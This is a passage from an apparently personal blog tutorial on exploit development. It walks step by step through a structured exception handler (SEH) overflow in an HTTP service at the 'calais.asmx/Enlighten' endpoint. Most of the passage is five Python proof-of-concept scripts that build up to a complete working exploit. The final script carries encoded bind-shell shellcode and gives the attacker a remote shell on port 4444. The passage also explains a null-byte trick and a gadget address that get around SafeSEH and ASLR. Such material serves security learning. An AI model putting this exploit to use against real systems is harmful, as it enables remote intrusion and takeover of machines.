And after the crash we see EBX is fully in our control and points to somewhere within our buffer of A's that were sent (A = \x41 in hex). If we look carefully at the stack we can also see a pointer to our buffer there as well:


This may not seem exploitable (the real error that occurs, excuse the screenshot, is an access violation), but if we check the SEH overflow we can see we have successfully overwritten the SEH handler:


So we know we can now control the SEH handler and subsequently EIP and we also have control over EBX. Lets make a PoC to test our theory. If we look at the request that corresponds to request 30 in the command line we see this:

Done with read
Fuzzing Variable 0:30
Variablesize= 2050
Reading packet

Creating the POC

So lets make a PoC that sends 2050 A's in the right part of the POST request. Opening up our post.spk file, we can see this corresponds to the first "string_variable" line:

s_string("POST /");
s_string_variable("enlighten/calais.asmx/Enlighten");
s_string(" ");

Thus the request we should send should look like "POST /*long string of A's here*", sans the quotes:

#!/bin/python
import socket

overflow = "A" * 2050
buffer = "POST /" + overflow + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()
Running this program against the target generates the same crash as before. If we now click on the first address in the SEH chain, right click on it and select "Follow In Stack" and then scroll to the bottom of the stack, we will notice our first error. We appear to have written past the end of the stack:


If we click on the address of the previous SEH handler and then scroll up to the beginning of our A's, we can see that it takes 687 hex bytes, or 1671 bytes to overwrite the previous SEH handler.


Lets test this theory out:

#!/bin/python
import socket

inital = "A" * 1671
previousSEH = "D" * 4
SEHHandle = "C" * 4
restOfBuffer = "A" * (2050 - (len(inital) + len(previousSEH) + len(SEHHandle)))

buffer = "POST /" + inital + previousSEH + SEHHandle + restOfBuffer + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()
If we send this to the target and then observe the SEH chain afterwards, we can see that we successfully overwrite the current and previous SEH handler.

A Problem Appears

At this point we run into a small problem. When looking at the available modules in mona to find what ones are not SafeSEH enabled, we see that only the application itself is not SafeSEH enabled:


Further experimentation reveals the end of the request is being terminated by a \x0D byte. Because of this we can't even use a 3 byte overwrite and rely on the null terminator to supply the final \x00 we need to use addresses from the binary itself.

However if we adjust the code and reduce the size of our overwrite, we can actually get the request to be terminated with a null byte. The code that causes this overwrite can be seen below:

#!/bin/python
import socket

inital = "\x41" * 790
nseh = "BBBB"
seh = "\xCC\xCC\xCC"

buffer = "POST /" + inital + nseh + seh + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()

And as you can see, the request is terminated with a \x00 byte, resulting in the SEH handler being set to 00CCCCCC:


The next part comes in bypassing ASLR on Windows, which is the first of several protections we will need to bypass to get around EMET (which will be discussed in a seperate blog post).

From the earlier post where we examined that SafeSEH is not enabled for the application binary itself, we can also notice that the application binary itself is the only one not subject to DEP, ASLR, or pretty much any protections at all. As thus, if we can find an address within this binary that holds a POP POP RETN instruction, we can use this in combination with the fact that our requests are now terminated with a null byte (the first byte of the binary's addresses start with a \x00 so we need to use this trick to be able to use addresses from the binary itself) to create a ASLR friendly SEH overwrite.

Lets pick the first address we find (004015C2):


Putting this into the exploit gives the following:

#!/bin/python
import socket

shellcode = "\xCC" * 600
jmpShellcode = "\xE9\xF3\xFC\xFF\xFF" # JMP to the beginning of our shellcode
inital = "\x41" * (790 - len(shellcode)-len(jmpShellcode))
nseh = "\xEB\xF0\x90\x90" # JMP backwards 15 bytes
seh = "\xC2\x15\x40" #004015C2 -> POP EDI, POP EBP, RETN from Application itself


buffer = "POST /" + shellcode + inital + jmpShellcode + nseh + seh + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()

Sending this results in us hitting our POP POP RET (the breakpoint was set after this photo was taken, but make sure to set one there before you try sending the exploit):


And executing these instructions lands us in the 4 byte space we are presently using for the NSEH address:


As we can see in the exploit code, the solution to this is to use the sequence \xeb\xF0\x90\x90 or a short jump backwards to gain more space to jump backwards.


Once this jump was executed, we need a bigger jump backwards to get to the start or near the start of our shellcode. The bytes \xE9\xF3\xFC\xFF\xFF will satisfy this requirement and perform a long jump back near the beginning of our shellcode, as can be seen in our debugger:



As you can see this results in us hitting somewhere near the beginning of our shellcode:



Ok, now all we have to modify the exploit one last time to include the exploit code for a windows/shell_bind_tcp shell on port 4444, excluding the bad characters \x00\x20\x3F:

#!/bin/python
import socket

shellcode = "\x90" * 20

buf = ""
buf += "\xb8\x5d\x64\xb6\xa1\xdb\xde\xd9\x74\x24\xf4\x5b\x2b"
buf += "\xc9\xb1\x56\x31\x43\x13\x03\x43\x13\x83\xc3\x59\x86"
buf += "\x43\x5d\x89\xcf\xac\x9e\x49\xb0\x25\x7b\x78\xe2\x52"
buf += "\x0f\x28\x32\x10\x5d\xc0\xb9\x74\x76\x53\xcf\x50\x79"
buf += "\xd4\x7a\x87\xb4\xe5\x4a\x07\x1a\x25\xcc\xfb\x61\x79"
buf += "\x2e\xc5\xa9\x8c\x2f\x02\xd7\x7e\x7d\xdb\x93\x2c\x92"
buf += "\x68\xe1\xec\x93\xbe\x6d\x4c\xec\xbb\xb2\x38\x46\xc5"
buf += "\xe2\x90\xdd\x8d\x1a\x9b\xba\x2d\x1a\x48\xd9\x12\x55"
buf += "\xe5\x2a\xe0\x64\x2f\x63\x09\x57\x0f\x28\x34\x57\x82"
buf += "\x30\x70\x50\x7c\x47\x8a\xa2\x01\x50\x49\xd8\xdd\xd5"
buf += "\x4c\x7a\x96\x4e\xb5\x7a\x7b\x08\x3e\x70\x30\x5e\x18"
buf += "\x95\xc7\xb3\x12\xa1\x4c\x32\xf5\x23\x16\x11\xd1\x68"
buf += "\xcd\x38\x40\xd5\xa0\x45\x92\xb1\x1d\xe0\xd8\x50\x4a"
buf += "\x92\x82\x3c\xbf\xa9\x3c\xbd\xd7\xba\x4f\x8f\x78\x11"
buf += "\xd8\xa3\xf1\xbf\x1f\xc3\x28\x07\x8f\x3a\xd2\x78\x99"
buf += "\xf8\x86\x28\xb1\x29\xa6\xa2\x41\xd5\x73\x64\x12\x79"
buf += "\x2b\xc5\xc2\x39\x9b\xad\x08\xb6\xc4\xce\x32\x1c\x73"
buf += "\xc9\xfc\x44\xd0\xbe\xfc\x7a\xc7\x62\x88\x9d\x8d\x8a"
buf += "\xdc\x36\x39\x69\x3b\x8f\xde\x92\x69\xa3\x77\x05\x25"
buf += "\xad\x4f\x2a\xb6\xfb\xfc\x87\x1e\x6c\x76\xc4\x9a\x8d"
buf += "\x89\xc1\x8a\xc4\xb2\x82\x41\xb9\x71\x32\x55\x90\xe1"
buf += "\xd7\xc4\x7f\xf1\x9e\xf4\xd7\xa6\xf7\xcb\x21\x22\xea"
buf += "\x72\x98\x50\xf7\xe3\xe3\xd0\x2c\xd0\xea\xd9\xa1\x6c"
buf += "\xc9\xc9\x7f\x6c\x55\xbd\x2f\x3b\x03\x6b\x96\x95\xe5"
buf += "\xc5\x40\x49\xac\x81\x15\xa1\x6f\xd7\x19\xec\x19\x37"
buf += "\xab\x59\x5c\x48\x04\x0e\x68\x31\x78\xae\x97\xe8\x38"
buf += "\xde\xdd\xb0\x69\x77\xb8\x21\x28\x1a\x3b\x9c\x6f\x23"
buf += "\xb8\x14\x10\xd0\xa0\x5d\x15\x9c\x66\x8e\x67\x8d\x02"
buf += "\xb0\xd4\xae\x06"

shellcode += buf


jmpShellcode = "\xE9\xF3\xFC\xFF\xFF" # JMP to the beginning of our shellcode
inital = "\x41" * (790 - len(shellcode)-len(jmpShellcode))
nseh = "\xEB\xF0\x90\x90" # JMP backwards 15 bytes
seh = "\xC2\x15\x40" #004015C2 -> POP EDI, POP EBP, RETN from Application itself


buffer = "POST /" + shellcode + inital + jmpShellcode + nseh + seh + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()

If we execute this now, and pause right after we execute the long jump, we can see we hit around about the middle to end of our NOP sled:



Executing this code results in port 4444 opening:


Connecting to this port returns a shell:



Conclusion

Hopefully this was a good tutorial on how to find your own vulnerabilities and turn them into an exploit. I always wanted to do something like this as soon as I found my first proper vulnerability so here you go :)

In a future tutorial I will cover how I modified this exploit to do a partial bypass of EMET minus DEP. In the meantime I hope you enjoyed this tutorial. Let me know if there is anything that is not clear or if you would like me to expand any of the sections to explain things more.

Until next time
-tekwizz123